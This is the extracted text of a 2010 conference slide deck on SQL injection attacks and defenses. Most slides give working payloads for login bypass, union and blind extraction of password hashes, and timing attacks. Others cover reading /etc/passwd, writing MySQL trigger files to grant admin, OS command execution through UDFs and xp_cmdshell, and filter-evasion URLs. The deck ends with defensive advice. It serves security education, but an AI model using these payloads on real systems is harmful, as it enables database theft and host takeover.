advanced sql injection attack & defenses
DESCRIPTION
The objective of this talk is to demonstrate how to subvert some SQLi (bad but popular) defenses and to show how to properly defend against SQLi attacks. We will cover topics such as: - Blind SQLi attacks - Timing SQLi attacks - Encoding attacks - How to subvert some filters - How you should protect your code against SQLi attacks The video is available here: https://codebits.eu/intra/s/session/131 Presented at Codebits IV, 12/11/10 Lisbon note: this talk was co-presented by me and Nuno Loureiro (http://www.slideshare.net/nuno.loureiro)TRANSCRIPT
Codebits 2010Advanced SQL injection:
Attacks & Defenses12/11/2010
SAPO Websecurity Team
Summary
2
• Mo$va$on• Objec$ves• What is SQLi?• A8ack using Tautologies• A8ack using union query• Blind Injec$on• Timing A8acks• Second Order SQLi• File System Access• Piggy-‐backed Queries• Use of SELECT to INSERT or UPDATE• Common Mistakes while Protec$ng
• Int queries• Blacklist Approach
• Best Prac$ces• Prepared Statements• Escaping/Valida$ng Input
• Codebits Security Quiz
Summary:
SAPO Websecurity Team SAPO Codebits 2010
Motivation
3
OWASP Top10 Applica0on Security Risks
SAPO Websecurity Team SAPO Codebits 2010
Objectives
4
•Awareness: • This is a real problem and it’s dangerous
•How to protect your code: • There are good and bad protecBons.
Two Objec0ves:
SAPO Websecurity Team SAPO Codebits 2010
SQLi > What is it?
5
• SQL InjecBon vulnerabiliBes are introduced when soIware developers use unstrusted data in the construcBon of dynamic SQL queries
What is it?
Example of Vulnerable query:
Impact of SQLi:
• Data loss or corrupBon• Data leakage • DoS• SomeBmes can lead to complete host takeover• ReputaBon can be harmed.
SAPO Websecurity Team SAPO Codebits 2010
SQLi > Example of Attack using Tautologies
6
Example of Vulnerable code:
AJack:• h8p://vuln.example/login?username=x’ or 1=1 limit 0,1-‐-‐ -‐
Query executed:• SELECT id,group,full_name FROM users WHERE username=’x’ or 1=1 limit 0,1
Query returns the first row of table users, thus you’ll login with that user and see his full name
SAPO Websecurity Team SAPO Codebits 2010
SQLi > More Advanced Attack using union queries
7
Example of Vulnerable code:
AJack:• h8p://vuln.example/login?username=x’ and 1=0 union select null,null,table_name from informa$on_schema.tables limit 30,1-‐-‐ -‐
Query executed:• SELECT id,group,full_name FROM users WHERE username=’x’ and 1=0 union select null,null,table_name from informaBon_schema.tables limit 30,1
• You can use the UNION to find the number of columns in the query (or ORDER BY)• You use the 3rd column of the query (full_name) to dump informa$on from the db...• You can also use CONCAT() to retrieve several fields as one field
SAPO Websecurity Team SAPO Codebits 2010
SQLi > Blind injection
8
... but someBmes you are not that lucky. SomeBmes the only informaBon you can get is a binary result -‐ true or false, 1 or 0, error or no-‐error. That is called a Blind SQLi.
Imagine that the following URL is vulnerable to a blind SQLi:• hAp://vuln.example.com/news.php?id=12
Trying to guess the table name:• id=5 union all select 1,2,3 from admin /* Returns an error if table admin does not exist */
Trying to guess the column names:• id=5 union all select 1,2,passwd from admin /* Returns an error if column passwd does not exist */Extract ‘username:passwd’ from table (char by char):• id=5 and ascii(substring((select concat(username,0x3a,passwd) from users limit 0,1),1,1))>64 /* ret true */• id=5 and ascii(substring((select concat(username,0x3a,passwd) from users limit 0,1),1,1))>96 /* ret true */• id=5 and ascii(substring((select concat(username,0x3a,passwd) from users limit 0,1),1,1))>100 /* ret false */• id=5 and ascii(substring((select concat(username,0x3a,passwd) from users limit 0,1),1,1))>97 /* ret false */ (....)• id=5 and ascii(substring((select concat(username,0x3a,passwd) from users limit 0,1),2,1))>64 /* ret true */ (...)
Don’t worry, you have tools to automaBze this...
SAPO Websecurity Team SAPO Codebits 2010
SQLi > Get around blind SQLi > sqlmap
9
sqlmap can save you a lot of Bme when exploiBng a blind SQL injecBon. There are a lot of other powerful opBons at your disposal as well...
SAPO Websecurity Team SAPO Codebits 2010
SQLi > Some Stats
10
But wait, is this a common problem? YES!
According to exploit-‐db.com, in the past 3 months they reported:• 190 SQLi vulnerabiliBes in popular Web ApplicaTons,
•40 were blind SQLi•36 were in Joomla Components
SAPO Websecurity Team SAPO Codebits 2010
SQLi > Some Stats
11
To get this stats, I was searching for the string “sql injecBon”...
.. and I noBced that the results page was broken, so I tried to exploit it and found it was vulnerable to XSS.
I reported the vulnerability and it was fixed within 10 minutes.
SAPO Websecurity Team SAPO Codebits 2010
SQLi > Timing attacks
12
SomeBmes you don’t even get a True/False or Error/Non-‐Error response. In those cases you need to use a Timing aeack
A real example -‐ LightNEasy CMS 3.2.1:
handle=" UNION SELECT IF(SUBSTRING(password,1 ,1) = CHAR(98), BENCHMARK(10000000, ENCODE('Slow','Down')), null),2,3,4,5,6,7,8,9,10,11 FROM lne_users WHERE id="1&password=&do=login&=Login
POST Data:
If the first character of the admin hash is b, the query will take around 5 seconds to execute
SAPO Websecurity Team SAPO Codebits 2010
SQLi > Timing attacks
13
BENCHMARK() is MySQL-‐specific, but you have alternaBve funcBons in other DBMS
MySQL BENCHMARK(10000000,md5(1)) or SLEEP(5)
PostgreSQL PG_SLEEP(5) or GENERATE_SERIES(1,1000000)
MS SQL Server WAITFOR DELAY ‘0:0:5’
SAPO Websecurity Team SAPO Codebits 2010
SQLi > Second Order SQLi
14
• Create an user: EveMalory’ OR user=‘admin
• User logs in• Ager logging in, the script queries for user’s info based on the retrieved username: SELECT user, password, full_name, age, homepage, gender FROM users WHERE user=‘EveMalory’ OR user=‘admin’
• EveMalory does not exist, thus we’ll read admin’s info.
What is it?When the aeacker is able to insert malicious input that does no harm to the query in the page but will exploit a vulnerability in another page that reads that malicious input to query the database
Example:
SAPO Websecurity Team
SQLi > File System Access
15
MySQL requirements: FILE privileges -‐> Have your ever typed “grant all privileges...”?
1-‐ Inject a LOAD_FILE() call using your favorite SQLi technique.... union select 1,1, LOAD_FILE('/etc/passwd'),1,1;
2-‐ Get the LOAD_FILE() output.-‐ 5000 chars limit if abusing a varchar column-‐ early char truncate if forcing SQL errors-‐ binary content
If you have piggy-‐backed queries (and CREATE TABLE privileges)-‐ create a support table-‐ redirect LOAD_FILE() to other file using INTO DUMPFILE, but hex encoded-‐ read the second file with LOAD DATA INFILE to the support table-‐ read the support table with standard SQLi
CREATE TABLE potatoes(line BLOB);UNION SELECT 1,1, HEX(LOAD_FILE('/etc/passwd')),1,1 INTO DUMPFILE ‘/tmp/potatoes’;LOAD DATA INFILE '/tmp/potatoes' INTO TABLE potatoes;
Read Access
SAPO Websecurity Team
SQLi > File System Access
16
MySQL requirements: FILE privileges
1-‐ Use INTO DUMPFILE through union or piggy-‐backed SQLi
LimitaBons-‐ limits on GET parameters length-‐ INTO DUMPFILE does now append data
Again, if you have piggy-‐backed queries-‐ create a support table-‐ INSERT first chunk of the file into the table-‐ using UPDATE, CONCAT the other chunks to the first one-‐ write the file with SELECT INTO DUMPFILE
Write Access
SAPO Websecurity Team
SQLi > File System Access
17
MySQL requirements: FILE and INSERT privileges, and piggy-‐backed queries
Using User Defined FuncBons (UDF)-‐ funcBons created from shared libraries on the system to be used in SELECT statements
CREATE FUNCTION f_name RETURNS INTEGER SONAME shared_library
-‐ Fingerprint you target-‐ DMBS, version and host OS-‐ with that find out the shared libraries paths
-‐ Create a shared library locally, built with the headers of the target-‐ include either the sys_eval() or sys_exec() funcBon
-‐ Upload the craIed shared library to the shared libraries path-‐ Create the UDF-‐ Execute the OS command using the sys_*() funcBons
OperaTng System Command ExecuTon
SAPO Websecurity Team
SQLi > File System Access
18
MS SQL Server is our friend
-‐ xp_cmdshell() procedure-‐ executes commands on the host OS-‐ returns the command output-‐ newest versions have it disabled, but...
-‐ create a support table-‐ execute xp_cmdshell() and redirect output to a temporary file-‐ read the file into the support table using BULK INSERT-‐ SQLi the support table-‐ clean up :)
-‐ use xp_cmd_shell() to delete temporary file-‐ delete the support table
or, if you don’t care about the output
-‐ execute xp_cmdshell()
OperaTng System Command ExecuTon
SAPO Websecurity Team SAPO Codebits 2010
SQLi > Piggy-backed queries
19
So, what can we do if MySQL and PHP/ASP is being used and we want to insert or update data?
SQL Server MySQL PostgreSQL
ASP
ASP.NET
PHP
The ability to use the vulnerability to insert a second query
SELECT user, password from users where id=2; drop table users
What is it?
Example (user input in bold):
SAPO Websecurity Team SAPO Codebits 2010
SQLi > Use of SELECT to INSERT or UPDATE
20
• Found by Stefano Di Paola from Minded Security
• MySQL specific
• Requires FILE privileges• The idea is to abuse Triggers to insert or update data • One interesBng property about MySQL Triggers is that they are stored in text files :-‐)
• Works whether the DBMS is hosted on the same or on a different server
• The only problem is that, based on my tests, MySQL needs to be restarted aIer the aeack
SAPO Websecurity Team SAPO Codebits 2010
SQLi > Use of SELECT to INSERT or UPDATE
21
$ cat /opt/local/var/db/mysql5/test/utu.TRN:TYPE=TRIGGERNAMEtrigger_table=users
$ cat /opt/local/var/db/mysql5/test/users.TRG:TYPE=TRIGGERStriggers='CREATE DEFINER=`root`@`localhost` trigger utu before insert on users for each row set NEW.groupid=\'admin\''sql_modes=0definers='root@localhost'client_cs_names='laBn1'connecBon_cl_names='laBn1_swedish_ci'db_cl_names='laBn1_swedish_ci'
mysql> create trigger utu before insert on users for each row set NEW.groupid='admin'; Query OK, 0 rows affected (0.57 sec)
How to create a Trigger to update the table users to set the groupid as admin when a new user is created?
SAPO Websecurity Team SAPO Codebits 2010
SQLi > Use of SELECT to INSERT or UPDATE
22
mysql> select username from users where id=3 and 1=0 union select 'TYPE=TRIGGERS' into ouKile '/opt/local/var/db/mysql5/test/users.TRG' LINES TERMINATED BY '\ntriggers=\'CREATE DEFINER=`root`@`localhost` trigger utu before insert on users for each row set NEW.groupid=\\\'admin\\\'\'\nsql_modes=0\ndefiners=\'root@localhost\'\nclient_cs_names=\'laXn1\'\nconnecXon_cl_names=\'laXn1_swedish_ci\'\ndb_cl_names=\'laXn1_swedish_ci\'\n';Query OK, 1 row affected (0.06 sec)
mysql> select username from users where id=3 and 1=0 union select 'TYPE=TRIGGERNAME' into ouKile '/opt/local/var/db/mysql5/test/utu.TRN' LINES TERMINATED BY '\ntrigger_table=users\n';Query OK, 1 row affected (0.03 sec)
How can we take advantage of a SQLi to create the trigger?
We can use INTO OUTFILE to write the trigger files:
/opt/local/var/db/mysql5/test/users.TRG:
/opt/local/var/db/mysql5/test/utu.TRN:
SAPO Websecurity Team SAPO Codebits 2010
SQLi > Wrong Protections
23
Common Mistakes When ProtecTng your Code
SAPO Websecurity Team SAPO Codebits 2010
SQLi > Wrong Protections > Int values
24
Some folks say that escaping user input is enough (‘ , “ , \r, \n, NUL and Control-‐Z) to prevent SQLi, but is it?
Imagine the following query string from user.php which displays the name of the user :
Is this vulnerable to SQLi?
What if I enter the following URL:• hAp://vuln.example.com/user.php?id=12 AND 1=0 union select 1,concat(user,0x3a,password),
3,4,5,6 from mysql.user where user=substring_index(current_user(),char(64),1)
mysql_real_escape_string() will not escape any character because there isn’t any to be escaped, therefore root:*31EFD0D03381795E5B770791D7A56CCD379F1141 will be output to the screen
The query result is the following:
SAPO Websecurity Team SAPO Codebits 2010
SQLi > Wrong Protections > Alternate Encodings
25
• Consider the GBK Chinese unicode charset• Let’s take a look at some characters:
0x 5c = \ 0x 27 = ʼ 0x bf 27 = ¿ʼ 0x bf 5c = 縗
db interprets as 2 chars
db interprets as a single chinese char
• Imagine that you use addslashes() to escape input in your code
• If aeacker inputs ¿' or 1=1 , the string becomes ¿\' (0xbf5c27)
• But 0xbf5c is the chine char 縗, thus the resulBng string is interpreted as 縗‘ OR 1=1
• In case you haven’t noBced, you just bypassed the escaping funcBon
I found this in a Quiz for a Security course from a popular University:
SAPO Websecurity Team SAPO Codebits 2010
SQLi > Wrong Protections > Blacklist filtering
26
• Blacklists, i.e filter out some chars or expressions, is not a good pracBce
• Imagine that you filter the following from user input:• Spaces• Quotes (“ and ‘)• Some SQL keywords (like where)
You shall not use spaces:SELECT/**/passwd/**/from/**/user or SELECT(passwd)from(user)
You shall not use quotes:SELECT passwd from users where user=0x61646D696E (hex for admin)
You shall not use the where keyword: You can use HAVING and IF() and ORDER BY
You get the idea...
SAPO Websecurity Team SAPO Codebits 2010
SQLi > How to Protect against SQLi?
27
Two main defenses:
• Prepared Statements / Parameterized Queries
• Escaping/ValidaBng Input
SAPO Websecurity Team SAPO Codebits 2010
SQLi > Protect against SQLi > Prepared Statements
28
Prepared Statements:• Prepared statements keep the query structure and query data separated through the use of placeholders known as bound parameters. The developer must then set values for the placeholders.
• Prepared statements ensure that an aeacker is not able to change the intent of a query, even if SQL commands are inserted by an aeacker
Example:
SAPO Websecurity Team SAPO Codebits 2010
SQLi > Protect against SQLi > Escaping/Validating INPUT
29
• If Prepared Statements are not possible you should Escape and Validate user input
• You can also use this technique in addi$on to prepared statements
If you know what input you are expecBng you can validate it:
• If you are expecBng integers cast the input to integer or use PHP’s intval()• If you are expecBng an email address you can use a regexp to validate it• If you are expecBng the user’s name it’s not so simple (because of the ‘)
Escape all the user input:
• Each programming language has its own funcBons or methods• in PHP you can use addslashes() (with cauBon)• If possible use the DBMS specific escaping funcBon (e.g. mysql_real_escape_string())
SAPO Websecurity Team SAPO Codebits 2010
SQLi > Protect against SQLi > Other
30
• Create a specific database user to be used exclusively by your Web App
• Only grant the user with the necessary privileges (exclude file, drop, create, etc from the list)
• Limit the access to the database to localhost only (if possible) or to the Web frontends
• SET THE DBMS ROOT’S PASSWORD! (seriously)
• Use strong passwords in your DBMS for root and all other users
Other important recommendaTons:
SAPO Websecurity Team SAPO Codebits 2010
SQLi > Codebits Security Quiz
31
Codebits Security Quiz
SAPO Websecurity Team SAPO Codebits 2010
SQLi > Codebits Security Quiz
32
The last step of the Security Quiz was a SQLi injecBon in the field username:
• The field username was being filtered using a blacklist approach (bad idea, now you know!)
• What was filtered?• whitespaces• Quotes (‘ and “)• Slashes (\ and /)• null, where, limit, benchmark• into, file, case• some comments (-‐-‐ and /*)
• Before the authenBcaBon process the script was vulnerable to a blind SQLi• AIer the authenBcaBon process it was just a regular SQLi• The table had five columns: id, username, password, full_name and homepage
The Facts:
SAPO Websecurity Team SAPO Codebits 2010
SQLi > Codebits Security Quiz
33
• Pass authentication: http://194.65.94.54/cb/index.php?Password=x&username=(1)or(1)=(1)
• Find database: http://194.65.94.54/cb/index.php?Password=x&username=(1)and(1)=(0)union(select(1),database())%23
• Find table: http://194.65.94.54/cb/index.php?Password=x&username=(1)and(1)=(0)union(select(table_schema),(table_name)from(information_schema.tables)having((table_schema)=(0x6362697473627265616B6462)))%23
• Find 1st column from table: http://194.65.94.54/cb/index.php?Password=x&username=(1)and(1)=(0)union(select(table_name),(column_name)from(information_schema.columns)having((table_name)=(0x7573657273)))%23
• Find last column from table: http://194.65.94.54/cb/index.php?Password=x&username=(1)and(1)=(0)union(select(table_name),(column_name)from(information_schema.columns)having((table_name)=(0x7573657273)%26%26(column_name)!=(0x6964)%26%26(column_name)!=(0x66756C6C5F6E616D65)%26%26(column_name)!=(0x70617373776F7264)))%23
• Extract the URL: http://194.65.94.54/cb/index.php?Password=x&username=(1)and(1)=(0)union(select(id),(homepage)from(users)having((id)=(3)))
So, let’s see how we can circumvent the filter:
SAPO Websecurity Team SAPO Codebits 2010
SQLi
34
Thank you!QuesTons?
Nuno Loureiro <[email protected]>Tiago Mendo <[email protected]>
SAPO Websecurity Team SAPO Codebits 2010
SQLi > References
35
• hAp://websec.wordpress.com/
• hAp://blog.mindedsecurity.com/• hAp://www.webappsec.org/
• hAp://www.owasp.org/
• Advanced SQL injec0on to opera0ng system full control, Bernardo Damele Guimarães, 2009
Websites:
Whitepaper: